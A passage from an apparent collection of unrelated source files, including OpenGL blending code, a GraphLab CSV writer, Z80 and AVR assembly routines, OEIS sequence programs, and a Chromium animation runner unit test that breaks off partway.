GLi->BlendFunc(GL_SRC_ALPHA , GL_SRC_ALPHA);
GLi->BlendFunc(GL_DST_ALPHA , GL_ONE);
break;
case ALPHA_BLENDTHREE:
GLi->BlendFunc(GL_SRC_ALPHA , GL_ONE);
GLi->BlendFunc(GL_DST_ALPHA , GL_SRC_ALPHA);
break;
case ALPHA_ALPHACHANNELS:
GLi->BlendFunc(GL_SRC_ALPHA , GL_SRC_ALPHA);
break;
case ALPHA_DESTALPHA:
GLi->BlendFunc(GL_SRC_ALPHA , GL_DST_ALPHA);
break;
case ALPHA_MULTIPLY:
GLi->BlendFunc(GL_DST_COLOR,GL_ZERO);
break;
case ALPHA_NONE:
// Avoid compiler warning
break;
case ALPHA_CUSTOM:
break;
}
}
sLastBlend= blend;
}
}
void BlendMode::SetBlendFunc( const EE_BLEND_FUNC& SrcFactor, const EE_BLEND_FUNC& DestFactor ) {
GLi->Enable( GL_BLEND );
GLi->BlendFunc( (GLenum)SrcFactor, (GLenum)DestFactor );
sLastBlend = ALPHA_CUSTOM;
}
EE_BLEND_MODE BlendMode::GetPreBlendFunc() {
return sLastBlend;
}
}}
|
stx $ff
ora $ff |
/**
* Copyright (C) 2016 Turi
* All rights reserved.
*
* This software may be modified and distributed under the terms
* of the BSD license. See the LICENSE file for details.
*/
#include <sframe/csv_writer.hpp>
#include <flexible_type/string_escape.hpp>
#include <logger/logger.hpp>
namespace graphlab {
void csv_writer::write_verbatim(std::ostream& out,
const std::vector<std::string>& row) {
for (size_t i = 0;i < row.size(); ++i) {
out << row[i];
// put a delimiter after every element except for the last element.
if (i + 1 < row.size()) out << delimiter;
}
out << line_terminator;
}
void csv_writer::csv_print_internal(std::string& out, const flexible_type& val) {
switch(val.get_type()) {
case flex_type_enum::INTEGER:
case flex_type_enum::FLOAT:
out += std::string(val);
break;
case flex_type_enum::DATETIME:
case flex_type_enum::VECTOR:
out += std::string(val);
break;
case flex_type_enum::STRING:
// do not print double quotes
escape_string(val.get<flex_string>(), escape_char, use_escape_char,
quote_char, true, false,
m_string_escape_buffer, m_string_escape_buffer_len);
out += std::string(m_string_escape_buffer.c_str(), m_string_escape_buffer_len);
break;
case flex_type_enum::LIST:
out += '[';
for(size_t i = 0;i < val.get<flex_list>().size(); ++i) {
csv_print_internal(out, val.get<flex_list>()[i]);
if (i + 1 < val.get<flex_list>().size()) out += ',';
}
out += ']';
break;
case flex_type_enum::DICT:
out += '{';
for(size_t i = 0;i < val.get<flex_dict>().size(); ++i) {
csv_print_internal(out, val.get<flex_dict>()[i].first);
out += ':';
csv_print_internal(out, val.get<flex_dict>()[i].second);
if (i + 1 < val.get<flex_dict>().size()) out += ',';
}
out += '}';
break;
case flex_type_enum::UNDEFINED:
break;
default:
out += (std::string)val;
break;
}
}
void csv_writer::csv_print(std::ostream& out,
const flexible_type& val,
bool allow_empty_output) {
bool str_needs_delimiter = false;
bool str_has_quote_char = false;
switch(val.get_type()) {
case flex_type_enum::INTEGER:
case flex_type_enum::FLOAT:
if (quote_level == csv_quote_level::QUOTE_ALL) {
out << quote_char << std::string(val) << quote_char; // quote numbers only at QUOTE_ALL
} else {
out << std::string(val);
}
break;
case flex_type_enum::DATETIME:
case flex_type_enum::VECTOR:
if (quote_level == csv_quote_level::QUOTE_NONE) {
out << std::string(val);
} else {
// quote this field at any level higher than QUOTE_NONE
out << quote_char << std::string(val) << quote_char;
}
break;
case flex_type_enum::STRING:
/*
* I have 4 quoting mechanisms to pick from
* 1) full quoting and escaping
* 2) no quoting but full escaping
* 3) no quoting but only double quote escaping
* 4) no quoting but no escaping
*/
if (quote_level == csv_quote_level::QUOTE_ALL) {
// quote all, pass through the whole escaping sequence
escape_string(val.get<flex_string>(), escape_char, use_escape_char,
quote_char, true,
double_quote,
m_string_escape_buffer, m_string_escape_buffer_len);
out.write(m_string_escape_buffer.c_str(), m_string_escape_buffer_len);
} else {
// not quote all. we can pick from a bunch of heuristics
// to get minimal quoting
const flex_string& valstr = val.get<flex_string>();
// if there is a special character, or escape character or
// line terminater in the string, we need full escaping
//
// if there is a quote char in the string, we need at least
// double quote escaping
for (const char c : valstr) {
if (str_needs_delimiter == false &&
(c == '\t' || c == '\r' || c== '\n' || c == '\b' || c == escape_char ||
(!line_terminator.empty() && c == line_terminator[0]) ||
(!delimiter.empty() && c == delimiter[0]))) {
str_needs_delimiter = true;
}
if (str_has_quote_char == false && c == quote_char) {
str_has_quote_char = true;
}
if (str_has_quote_char && str_needs_delimiter) break;
}
if (allow_empty_output == false && valstr.length() == 0) {
out << quote_char << quote_char;
} else if (str_needs_delimiter == false && str_has_quote_char == false) {
// - no delimiterization needed.
out.write(valstr.c_str(), valstr.length());
} else if (str_needs_delimiter == false &&
str_has_quote_char == true &&
double_quote == true) {
// - no delimiterization needed.
// - we have double quote to handle quotes
escape_string(valstr, escape_char, false,
quote_char, false,
double_quote,
m_string_escape_buffer, m_string_escape_buffer_len);
out.write(m_string_escape_buffer.c_str(), m_string_escape_buffer_len);
} else if (quote_level == csv_quote_level::QUOTE_NONE) {
// do not quote at all, just escape
escape_string(valstr, escape_char, use_escape_char,
quote_char, false,
double_quote,
m_string_escape_buffer, m_string_escape_buffer_len);
out.write(m_string_escape_buffer.c_str(), m_string_escape_buffer_len);
} else {
// the regular case
escape_string(val.get<flex_string>(), escape_char, use_escape_char,
quote_char, true,
double_quote,
m_string_escape_buffer, m_string_escape_buffer_len);
out.write(m_string_escape_buffer.c_str(), m_string_escape_buffer_len);
}
}
break;
case flex_type_enum::LIST:
case flex_type_enum::DICT:
if (quote_level == csv_quote_level::QUOTE_NONE) {
m_complex_type_temporary.clear();
csv_print_internal(m_complex_type_temporary, val);
out.write(m_complex_type_temporary.c_str(), m_complex_type_temporary.length());
} else {
m_complex_type_temporary.clear();
csv_print_internal(m_complex_type_temporary, val);
escape_string(m_complex_type_temporary, escape_char, use_escape_char,
quote_char, true,
double_quote,
m_complex_type_escape_buffer,
m_complex_type_escape_buffer_len);
out.write(m_complex_type_escape_buffer.c_str(), m_complex_type_escape_buffer_len);
}
break;
case flex_type_enum::UNDEFINED:
if (quote_level == csv_quote_level::QUOTE_ALL) {
out << quote_char << na_value << quote_char;
} else {
out.write(na_value.c_str(), na_value.length());
}
break;
default:
if (quote_level == csv_quote_level::QUOTE_NONE) {
out << std::string(val);
} else {
// quote this field at any level higher than QUOTE_NONE
out << quote_char << std::string(val) << quote_char;
}
break;
}
}
void csv_writer::write(std::ostream& out,
const std::vector<flexible_type>& row) {
// if row size is 1, we cannot allow empty output
bool allow_empty_output = row.size() > 1;
for (size_t i = 0;i < row.size(); ++i) {
csv_print(out, row[i], row.size() > 1);
// put a delimiter after every element except for the last element.
if (i + 1 < row.size()) out << delimiter;
}
out << line_terminator;
}
} // namespace graphlab
|
;
; Generic pseudo graphics routines for text-only platforms
;
SECTION code_clib
PUBLIC respixel
.respixel
defc NEEDunplot = 1
INCLUDE "pixel.asm"
|
; A068605: Number of functions from [1,2,...,n] to [1,2,...,n] such that the image contains exactly two elements.
; 2,18,84,300,930,2646,7112,18360,45990,112530,270204,638820,1490762,3440430,7864080,17825520,40107726,89652906,199229060,440401500,968883762,2122317318,4630511064,10066329000,21810380150,47110421826
add $0,2
mul $0,2
sub $0,2
lpb $0
add $1,$0
sub $0,2
mul $2,2
add $2,1
lpe
mul $1,$2
mov $0,$1
|
; A 64-bit program that displays its command line arguments, one per line.
; On entry, rdi will contain argc and rsi will contain argv.
; nasm -felf64 echo.asm && gcc echo.o && ./a.out dog 22 -zzz "hi there"
global main
extern puts
section .text
main:
push rdi ; save registers that puts uses
push rsi
sub rsp, 8 ; must align stack before the call
mov rdi, [rsi]
call puts WRT ..plt
add rsp, 8 ; restore rsp to where it was
pop rsi ; restore registers
pop rdi
add rsi, 8 ; point to next argument
dec rdi ; decrement the counter
jnz main ; repeat if there are arguments left
xor rax, rax
ret
|
;-------------------------------------;
; STACK FOR ATMEL328 ;
; ;
; Por: Prof. Carlo Requiao ;
; 22/Sep/2020 ;
;-------------------------------------;
.device ATmega328
;-------------------------------------;
; MACROS ;
;-------------------------------------;
.macro initstack
ldi R16,low(RAMEND)
out spl,R16
ldi R16,high(RAMEND)
out sph,R16
.endmacro
;-------------------------------------;
; DEFINITIONS ;
;-------------------------------------;
.def geral1=R18
.def geral2=R19
;-------------------------------------;
; MEMORY SEGMENTS ;
;-------------------------------------;
.dseg
array_s: .byte 0x08
array_d: .byte 0x08
.cseg
.org 0x00 ; Program starts at 0x00
rjmp INICIO
;-------------------------------------;
; CODE ;
;-------------------------------------;
INICIO:
initstack
ldi geral1, 0x04
ldi geral2, 0x05
push geral1
push geral2
clr geral1
clr geral2
pop geral2
pop geral1
LOOP:
jmp LOOP
|
SECTION code_stdio
PUBLIC __stdio_nextarg_hl
__stdio_nextarg_hl:
; return next 16-bit parameter from parameter list
;
; enter : hl = void *stack_param
;
; exit : hl = 16-bit parameter
; a = l
;
; uses : a, hl
;******************************
IF __SDCC | __SDCC_IX | __SDCC_IY
;******************************
ld a,(hl)
inc hl
ld h,(hl)
ld l,a
;******************************
ELSE
;******************************
ld a,(hl)
dec hl
ld l,(hl)
ld h,a
ld a,l
;******************************
ENDIF
;******************************
ret
|
#include "TetrisGame.h"
#include <windows.h>
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow)
{
TetrisGame game;
if (game.resourcesLoadedCorrectly())
{
game.startGame();
}
return 0;
} |
;
; Sprite Rendering Routine
; original code by Patrick Davidson (TI 85)
; modified by Stefano Bodrato - nov 2010
;
; NEC PC-8801 version
;
;
; $Id: w_putsprite.asm $
;
SECTION smc_clib
PUBLIC putsprite
PUBLIC _putsprite
EXTERN w_pixeladdress
EXTERN swapgfxbk
EXTERN swapgfxbk1
INCLUDE "graphics/grafix.inc"
; __gfx_coords: d,e (vert-horz)
; sprite: (ix)
.putsprite
._putsprite
ld hl,2
add hl,sp
ld e,(hl)
inc hl
ld d,(hl) ; sprite address
push de
pop ix
inc hl
ld e,(hl)
inc hl
ld d,(hl)
inc hl
ld c,(hl)
inc hl
ld b,(hl) ; x and y __gfx_coords
inc hl
ld a,(hl) ; and/or/xor mode
ld (ortype+1),a ; Self modifying code
ld (ortype2+1),a ; Self modifying code
inc hl
ld a,(hl)
ld (ortype),a ; Self modifying code
ld (ortype2),a ; Self modifying code
call swapgfxbk
; @@@@@@@@@@@@
ld h,b
ld l,c
call w_pixeladdress
ld (curaddr),hl
; ------
;ld a,(hl)
; @@@@@@@@@@@@
ld c,a
ld hl,offsets_table
ld c,a
ld b,0
add hl,bc
ld a,(hl)
ld (wsmc1+1),a
ld (wsmc2+1),a
ld (_smc1+1),a
ld h,d
ld l,e ; display location from pixeladdress
ld a,(ix+0)
cp 9
jp nc,putspritew
ld d,a
ld b,(ix+1)
._oloop push bc ;Save # of rows
ld b,d ;Load width
ld c,(ix+2) ;Load one line of image
inc ix
._smc1 ld a,1 ;Load pixel mask
._iloop sla c ;Test leftmost pixel
jp nc,_noplot ;See if a plot is needed
ld e,a
.ortype
nop ; changed into nop / cpl
nop ; changed into and/or/xor (hl)
ld (hl),a
ld a,e
._noplot rrca
jr nc,_notedge ;Test if edge of byte reached
;@@@@@@@@@@
;Go to next byte
;@@@@@@@@@@
inc hl
;@@@@@@@@@@
._notedge djnz _iloop
push de
;@@@@@@@@@@
;Go to next line
;@@@@@@@@@@
ld hl,(curaddr)
ld de,80
add hl,de
ld (curaddr),hl
;@@@@@@@@@@
pop de
pop bc ;Restore data
djnz _oloop
jp swapgfxbk1
.putspritew
ld d,a
ld b,(ix+1)
.woloop push bc ;Save # of rows
ld b,d ;Load width
ld c,(ix+2) ;Load one line of image
inc ix
.wsmc1 ld a,1 ;Load pixel mask
.wiloop sla c ;Test leftmost pixel
jp nc,wnoplot ;See if a plot is needed
ld e,a
.ortype2
nop ; changed into nop / cpl
nop ; changed into and/or/xor (hl)
ld (hl),a
ld a,e
.wnoplot rrca
jr nc,wnotedge ;Test if edge of byte reached
;@@@@@@@@@@
;Go to next byte
;@@@@@@@@@@
inc hl
;@@@@@@@@@@
.wnotedge
.wsmc2 cp 1
jp z,wover_1
djnz wiloop
push de
;@@@@@@@@@@
;Go to next line
;@@@@@@@@@@
ld hl,(curaddr)
ld de,80
add hl,de
ld (curaddr),hl
;@@@@@@@@@@
pop de
pop bc ;Restore data
djnz woloop
jp swapgfxbk1
.wover_1 ld c,(ix+2)
inc ix
djnz wiloop
dec ix
push de
;@@@@@@@@@@
;Go to next line
;@@@@@@@@@@
ld hl,(curaddr)
ld de,80
add hl,de
ld (curaddr),hl
;@@@@@@@@@@
pop de
pop bc
djnz woloop
jp swapgfxbk1
SECTION bss_graphics
.curaddr
defw 0
SECTION rodata_clib
.offsets_table
defb 1,2,4,8,16,32,64,128
|
; A112607: Number of representations of n as a sum of a triangular number and twelve times a triangular number.
; Submitted by Jamie Morken(s3)
; 1,1,0,1,0,0,1,0,0,0,1,0,1,1,0,2,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,0,2,1,0,1,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,2,0,0,0,0,0,0,1,0,1,1,0,0,0,0,2,1,0,1,0,0,3,0,0,1,1,0,0,0,0,1,0,0,1,2,0,1,0,0,0,0,0,0
mul $0,4
add $0,6
mul $0,2
seq $0,123331 ; Expansion of (c(q)^2/(3c(q^2))-1)/2 in powers of q where c(q) is a cubic AGM function.
div $0,2
|
;
; Sprite Rendering Routine
; original code by Patrick Davidson (TI 85)
; modified by Stefano Bodrato - nov 2010
;
; MicroBEE high resolution version, 512x256 dots variant (2016)
;
;
; $Id: w_putsprite_512.asm,v 1.1 2016/11/25 14:45:01 stefano Exp $
;
SECTION smc_clib
PUBLIC putsprite
PUBLIC _putsprite
EXTERN w_pixeladdress
EXTERN swapgfxbk
EXTERN swapgfxbk1
INCLUDE "graphics/grafix.inc"
; __gfx_coords: d,e (vert-horz)
; sprite: (ix)
.putsprite
._putsprite
push ix ;save callers
ld hl,4
add hl,sp
ld e,(hl)
inc hl
ld d,(hl) ; sprite address
push de
pop ix
inc hl
ld e,(hl)
inc hl
ld d,(hl)
inc hl
ld c,(hl)
inc hl
ld b,(hl) ; x and y __gfx_coords
inc hl
ld a,(hl) ; and/or/xor mode
ld (ortype+1),a ; Self modifying code
ld (ortype2+1),a ; Self modifying code
inc hl
ld a,(hl)
ld (ortype),a ; Self modifying code
ld (ortype2),a ; Self modifying code
call swapgfxbk
; @@@@@@@@@@@@
ld h,b
ld l,c
ld (oldx),hl
ld (cury),de
call w_pixeladdress
; ------
;ld a,(hl)
; @@@@@@@@@@@@
ld c,a
ld hl,offsets_table
ld c,a
ld b,0
add hl,bc
ld a,(hl)
ld (wsmc1+1),a
ld (wsmc2+1),a
ld (_smc1+1),a
ld h,d
ld l,e ; display location from pixeladdress
ld a,(ix+0)
cp 9
jp nc,putspritew
ld d,a
ld b,(ix+1)
._oloop push bc ;Save # of rows
ld b,d ;Load width
ld c,(ix+2) ;Load one line of image
inc ix
._smc1 ld a,1 ;Load pixel mask
._iloop sla c ;Test leftmost pixel
jp nc,_noplot ;See if a plot is needed
ld e,a
.ortype
nop ; changed into nop / cpl
nop ; changed into and/or/xor (hl)
ld (hl),a
ld a,e
._noplot rrca
jp nc,_notedge ;Test if edge of byte reached
;@@@@@@@@@@
;Go to next byte
;@@@@@@@@@@
ex af,af
ld a,16
add l
ld l,a
jp nc,gonehi
inc h
.gonehi
ex af,af
;@@@@@@@@@@
._notedge djnz _iloop
push de
;@@@@@@@@@@
;Go to next line
;@@@@@@@@@@
ld hl,(oldx)
ld de,(cury)
inc de
ld (cury),de
call w_pixeladdress
;ld h,d
;ld l,e
;@@@@@@@@@@
pop de
pop bc ;Restore data
djnz _oloop
pop ix ;restore callers
jp swapgfxbk1
.putspritew
ld d,a
ld b,(ix+1)
.woloop push bc ;Save # of rows
ld b,d ;Load width
ld c,(ix+2) ;Load one line of image
inc ix
.wsmc1 ld a,1 ;Load pixel mask
.wiloop sla c ;Test leftmost pixel
jp nc,wnoplot ;See if a plot is needed
ld e,a
.ortype2
nop ; changed into nop / cpl
nop ; changed into and/or/xor (hl)
ld (hl),a
ld a,e
.wnoplot rrca
jp nc,wnotedge ;Test if edge of byte reached
;@@@@@@@@@@
;Go to next byte
;@@@@@@@@@@
ex af,af
ld a,16
add l
ld l,a
jp nc,wgonehi
inc h
.wgonehi
ex af,af
;@@@@@@@@@@
.wnotedge
.wsmc2 cp 1
jp z,wover_1
djnz wiloop
push de
;@@@@@@@@@@
;Go to next line
;@@@@@@@@@@
ld hl,(oldx)
ld de,(cury)
inc de
ld (cury),de
call w_pixeladdress
;ld h,d
;ld l,e
;@@@@@@@@@@
pop de
pop bc ;Restore data
djnz woloop
pop ix ;restore callers
jp swapgfxbk1
.wover_1 ld c,(ix+2)
inc ix
djnz wiloop
dec ix
push de
;@@@@@@@@@@
;Go to next line
;@@@@@@@@@@
ld hl,(oldx)
ld de,(cury)
inc de
ld (cury),de
call w_pixeladdress
;ld h,d
;ld l,e
;@@@@@@@@@@
pop de
pop bc
djnz woloop
pop ix ;restore callers
jp swapgfxbk1
SECTION rodata_clib
.offsets_table
defb 1,2,4,8,16,32,64,128
SECTION bss_clib
.oldx
defw 0
.cury
defw 0
|
// Copyright 2014 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "services/view_manager/animation_runner.h"
#include "base/strings/stringprintf.h"
#include "mojo/converters/geometry/geometry_type_converters.h"
#include "mojo/services/view_manager/public/interfaces/view_manager_constants.mojom.h"
#include "services/view_manager/animation_runner_observer.h"
#include "services/view_manager/scheduled_animation_group.h"
#include "services/view_manager/server_view.h"
#include "services/view_manager/test_server_view_delegate.h"
#include "testing/gtest/include/gtest/gtest.h"
using base::TimeDelta;
using mojo::ANIMATION_PROPERTY_NONE;
using mojo::ANIMATION_PROPERTY_OPACITY;
using mojo::ANIMATION_PROPERTY_TRANSFORM;
using mojo::ANIMATION_TWEEN_TYPE_LINEAR;
using mojo::AnimationElement;
using mojo::AnimationGroup;
using mojo::AnimationProperty;
using mojo::AnimationSequence;
using mojo::AnimationTweenType;
using mojo::AnimationValue;
using mojo::AnimationValuePtr;
using mojo::Transform;
namespace view_manager {
namespace {
class TestAnimationRunnerObserver : public AnimationRunnerObserver {
public:
TestAnimationRunnerObserver() {}
~TestAnimationRunnerObserver() override {}
std::vector<std::string>* changes() { return &changes_; }
std::vector<uint32_t>* change_ids() { return &change_ids_; }
void clear_changes() {
changes_.clear();
change_ids_.clear();
}
// AnimationRunnerDelgate:
void OnAnimationScheduled(uint32_t id) override {
change_ids_.push_back(id);
changes_.push_back("scheduled");
}
void OnAnimationDone(uint32_t id) override {
change_ids_.push_back(id);
changes_.push_back("done");
}
void OnAnimationInterrupted(uint32_t id) override {
change_ids_.push_back(id);
changes_.push_back("interrupted");
}
void OnAnimationCanceled(uint32_t id) override {
change_ids_.push_back(id);
changes_.push_back("canceled");
}
private:
std::vector<uint32_t> change_ids_;
std::vector<std::string> changes_;
DISALLOW_COPY_AND_ASSIGN(TestAnimationRunnerObserver);
};
// Creates an AnimationValuePtr from the specified float value.
AnimationValuePtr FloatAnimationValue(float float_value) {
AnimationValuePtr value(AnimationValue::New());
value->float_value = float_value;
return value.Pass();
}
// Creates an AnimationValuePtr from the specified transform.
AnimationValuePtr TransformAnimationValue(const gfx::Transform& transform) {
AnimationValuePtr value(AnimationValue::New());
value->transform = Transform::From(transform);
return value.Pass();
}
// Adds an AnimationElement to |group|s last sequence with the specified value.
void AddElement(AnimationGroup* group,
TimeDelta time,
AnimationValuePtr start_value,
AnimationValuePtr target_value,
AnimationProperty property,
AnimationTweenType tween_type) {
AnimationSequence& sequence =
*(group->sequences[group->sequences.size() - 1]);
sequence.elements.push_back(AnimationElement::New());
AnimationElement& element =
*(sequence.elements[sequence.elements.size() - 1]);
element.property = property;
element.duration = time.InMicroseconds();
element.tween_type = tween_type;
element.start_value = start_value.Pass();
element.target_value = target_value.Pass();
}
void AddOpacityElement(AnimationGroup* group,
TimeDelta time,
AnimationValuePtr start_value,
AnimationValuePtr target_value) {
AddElement(group, time, start_value.Pass(), target_value.Pass(),
ANIMATION_PROPERTY_OPACITY, ANIMATION_TWEEN_TYPE_LINEAR);
}
void AddTransformElement(AnimationGroup* group,
TimeDelta time,
AnimationValuePtr start_value,
AnimationValuePtr target_value) {
AddElement(group, time, start_value.Pass(), target_value.Pass(),
ANIMATION_PROPERTY_TRANSFORM, ANIMATION_TWEEN_TYPE_LINEAR);
}
void AddPauseElement(AnimationGroup* group, TimeDelta time) {
AddElement(group, time, AnimationValuePtr(), AnimationValuePtr(),
ANIMATION_PROPERTY_NONE, ANIMATION_TWEEN_TYPE_LINEAR);
}
void InitGroupForView(AnimationGroup* group,
const ViewId& id,
int cycle_count) {
group->view_id = ViewIdToTransportId(id);
group->sequences.push_back(AnimationSequence::New());
group->sequences[group->sequences.size() - 1]->cycle_count = cycle_count;
}
} // namespace
class AnimationRunnerTest : public testing::Test {
public:
AnimationRunnerTest()
: initial_time_(base::TimeTicks::Now()), runner_(initial_time_) {
runner_.AddObserver(&runner_observer_);
}
~AnimationRunnerTest() override { runner_.RemoveObserver(&runner_observer_); }
protected:
// Convenience to schedule an animation for a single view/group pair.
AnimationRunner::AnimationId ScheduleForSingleView(
ServerView* view,
const AnimationGroup* group,
base::TimeTicks now) {
std::vector<AnimationRunner::ViewAndAnimationPair> pairs;
pairs.push_back(std::make_pair(view, group));
return runner_.Schedule(pairs, now);
}
// If |id| is valid and there is only one view schedule against the animation
// it is returned; otherwise returns null.
ServerView* GetSingleViewAnimating(AnimationRunner::AnimationId id) {
std::set<ServerView*> views(runner_.GetViewsAnimating(id));
return views.size() == 1 ? *views.begin() : nullptr;
}
const base::TimeTicks initial_time_;
TestAnimationRunnerObserver runner_observer_;
AnimationRunner runner_;
private:
DISALLOW_COPY_AND_ASSIGN(AnimationRunnerTest);
};
// Opacity from 1 to .5 over 1000.
TEST_F(AnimationRunnerTest, SingleProperty) {
TestServerViewDelegate view_delegate;
ServerView view(&view_delegate, ViewId());
AnimationGroup group;
InitGroupForView(&group, view.id(), 1);
AddOpacityElement(&group, TimeDelta::FromMicroseconds(1000),
AnimationValuePtr(), FloatAnimationValue(.5));
const uint32_t animation_id =
ScheduleForSingleView(&view, &group, initial_time_);
ASSERT_EQ(1u, runner_observer_.changes()->size());
EXPECT_EQ("scheduled", runner_observer_.changes()->at(0));
EXPECT_EQ(animation_id, runner_observer_.change_ids()->at(0));
runner_observer_.clear_changes();
EXPECT_TRUE(runner_.HasAnimations());
// Opacity should still be 1 (the initial value).
EXPECT_EQ(1.f, view.opacity());
// Animate half way.
runner_.Tick(initial_time_ + TimeDelta::FromMicroseconds(500));
EXPECT_EQ(.75f, view.opacity());
EXPECT_TRUE(runner_observer_.changes()->empty());
// Run well past the end. Value should progress to end and delegate should
// be notified.
runner_.Tick(initial_time_ + TimeDelta::FromSeconds(10));
EXPECT_EQ(.5f, view.opacity());
ASSERT_EQ(1u, runner_observer_.changes()->size());
EXPECT_EQ("done", runner_observer_.changes()->at(0));
EXPECT_EQ(animation_id, runner_observer_.change_ids()->at(0));
EXPECT_FALSE(runner_.HasAnimations());
}
// Opacity from 1 to .5, followed by transform from identity to 2x,3x.
TEST_F(AnimationRunnerTest, TwoPropertiesInSequence) {
TestServerViewDelegate view_delegate;
ServerView view(&view_delegate, ViewId());
AnimationGroup group;
InitGroupForView(&group, view.id(), 1);
AddOpacityElement(&group, TimeDelta::FromMicroseconds(1000),
AnimationValuePtr(), FloatAnimationValue(.5f));
gfx::Transform done_transform;
done_transform.Scale(2, 4);
AddTransformElement(&group, TimeDelta::FromMicroseconds(2000),
AnimationValuePtr(),
TransformAnimationValue(done_transform));
const uint32_t animation_id =
ScheduleForSingleView(&view, &group, initial_time_);
runner_observer_.clear_changes();
// Nothing in the view should have changed yet.
EXPECT_EQ(1.f, view.opacity());
EXPECT_TRUE(view.transform().IsIdentity());
// Animate half way from through opacity animation.
runner_.Tick(initial_time_ + TimeDelta::FromMicroseconds(500));
EXPECT_EQ(.75f, view.opacity());
EXPECT_TRUE(view.transform().IsIdentity());
// Finish first element (opacity).
runner_.Tick(initial_time_ + TimeDelta::FromMicroseconds(1000));
EXPECT_EQ(.5f, view.opacity());
EXPECT_TRUE(view.transform().IsIdentity());
// Half way through second (transform).
runner_.Tick(initial_time_ + TimeDelta::FromMicroseconds(2000));
EXPECT_EQ(.5f, view.opacity());
gfx::Transform half_way_transform;
half_way_transform.Scale(1.5, 2.5);
EXPECT_EQ(half_way_transform, view.transform());
EXPECT_TRUE(runner_observer_.changes()->empty());
// To end.
runner_.Tick(initial_time_ + TimeDelta::FromMicroseconds(3500));
EXPECT_EQ(.5f, view.opacity());
EXPECT_EQ(done_transform, view.transform());
ASSERT_EQ(1u, runner_observer_.changes()->size());
EXPECT_EQ("done", runner_observer_.changes()->at(0));
EXPECT_EQ(animation_id, runner_observer_.change_ids()->at(0));
}
// Opacity from .5 to 1 over 1000, transform to 2x,4x over 500.
TEST_F(AnimationRunnerTest, TwoPropertiesInParallel) {
TestServerViewDelegate view_delegate;
ServerView view(&view_delegate, ViewId(1, 1));
AnimationGroup group;
InitGroupForView(&group, view.id(), 1);
AddOpacityElement(&group, TimeDelta::FromMicroseconds(1000),
FloatAnimationValue(.5f), FloatAnimationValue(1));
group.sequences.push_back(AnimationSequence::New());
group.sequences[1]->cycle_count = 1;
gfx::Transform done_transform;
done_transform.Scale(2, 4);
AddTransformElement(&group, TimeDelta::FromMicroseconds(500),
AnimationValuePtr(),
TransformAnimationValue(done_transform));
const uint32_t animation_id =
ScheduleForSingleView(&view, &group, initial_time_);
runner_observer_.clear_changes();
// Nothing in the view should have changed yet.
EXPECT_EQ(1.f, view.opacity());
EXPECT_TRUE(view.transform().IsIdentity());
// Animate to 250, which is 1/4 way through opacity and half way through
// transform.
runner_.Tick(initial_time_ + TimeDelta::FromMicroseconds(250));
EXPECT_EQ(.625f, view.opacity());
gfx::Transform half_way_transform;
half_way_transform.Scale(1.5, 2.5);
EXPECT_EQ(half_way_transform, view.transform());
// Animate to 500, which is 1/2 way through opacity and transform done.
runner_.Tick(initial_time_ + TimeDelta::FromMicroseconds(500));
EXPECT_EQ(.75f, view.opacity());
EXPECT_EQ(done_transform, view.transform());
// Animate to 750, which is 3/4 way through opacity and transform done.
runner_.Tick(initial_time_ + TimeDelta::FromMicroseconds(750));
EXPECT_EQ(.875f, view.opacity());
EXPECT_EQ(done_transform, view.transform());
EXPECT_TRUE(runner_observer_.changes()->empty());
// To end.
runner_.Tick(initial_time_ + TimeDelta::FromMicroseconds(3500));
EXPECT_EQ(1.f, view.opacity());
EXPECT_EQ(done_transform, view.transform());
ASSERT_EQ(1u, runner_observer_.changes()->size());
EXPECT_EQ("done", runner_observer_.changes()->at(0));
EXPECT_EQ(animation_id, runner_observer_.change_ids()->at(0));
}
// Opacity from .5 to 1 over 1000, pause for 500, 1 to .5 over 500, with a cycle
// count of 3.
TEST_F(AnimationRunnerTest, Cycles) {
TestServerViewDelegate view_delegate;
ServerView view(&view_delegate, ViewId(1, 2));
view.SetOpacity(.5f);
AnimationGroup group;
InitGroupForView(&group, view.id(), 3);
AddOpacityElement(&group, TimeDelta::FromMicroseconds(1000),
AnimationValuePtr(), FloatAnimationValue(1));
AddPauseElement(&group, TimeDelta::FromMicroseconds(500));
AddOpacityElement(&group, TimeDelta::FromMicroseconds(500),
AnimationValuePtr(), FloatAnimationValue(.5));
ScheduleForSingleView(&view, &group, initial_time_);
runner_observer_.clear_changes();
// Nothing in the view should have changed yet.
EXPECT_EQ(.5f, view.opacity());
runner_.Tick(initial_time_ + TimeDelta::FromMicroseconds(500));
EXPECT_EQ(.75f, view.opacity());
runner_.Tick(initial_time_ + TimeDelta::FromMicroseconds(1250));
EXPECT_EQ(1.f, view.opacity());
runner_.Tick(initial_time_ + TimeDelta::FromMicroseconds(1750));
EXPECT_EQ(.75f, view.opacity());
runner_.Tick(initial_time_ + TimeDelta::FromMicroseconds(2500));
EXPECT_EQ(.75f, view.opacity());
runner_.Tick(initial_time_ + TimeDelta::FromMicroseconds(3250));
EXPECT_EQ(1.f, view.opacity());
runner_.Tick(initial_time_ + TimeDelta::FromMicroseconds(3750));
EXPECT_EQ(.75f, view.opacity());
// Animate to the end.
runner_.Tick(initial_time_ + TimeDelta::FromMicroseconds(6500));
EXPECT_EQ(.5f, view.opacity());
ASSERT_EQ(1u, runner_observer_.changes()->size());
EXPECT_EQ("done", runner_observer_.changes()->at(0));
}
// Verifies scheduling the same view twice sends an interrupt.
TEST_F(AnimationRunnerTest, ScheduleTwice) {
TestServerViewDelegate view_delegate;
ServerView view(&view_delegate, ViewId(1, 2));
AnimationGroup group;
InitGroupForView(&group, view.id(), 1);
AddOpacityElement(&group, TimeDelta::FromMicroseconds(1000),
AnimationValuePtr(), FloatAnimationValue(.5));
const uint32_t animation_id =
ScheduleForSingleView(&view, &group, initial_time_);
runner_observer_.clear_changes();
// Animate half way.
runner_.Tick(initial_time_ + TimeDelta::FromMicroseconds(500));
EXPECT_EQ(.75f, view.opacity());
EXPECT_TRUE(runner_observer_.changes()->empty());
// Schedule again. We should get an interrupt, but opacity shouldn't change.
const uint32_t animation2_id = ScheduleForSingleView(
&view, &group, initial_time_ + TimeDelta::FromMicroseconds(500));
// Id should have changed.
EXPECT_NE(animation_id, animation2_id);
EXPECT_FALSE(runner_.IsAnimating(animation_id));
EXPECT_EQ(&view, GetSingleViewAnimating(animation2_id));
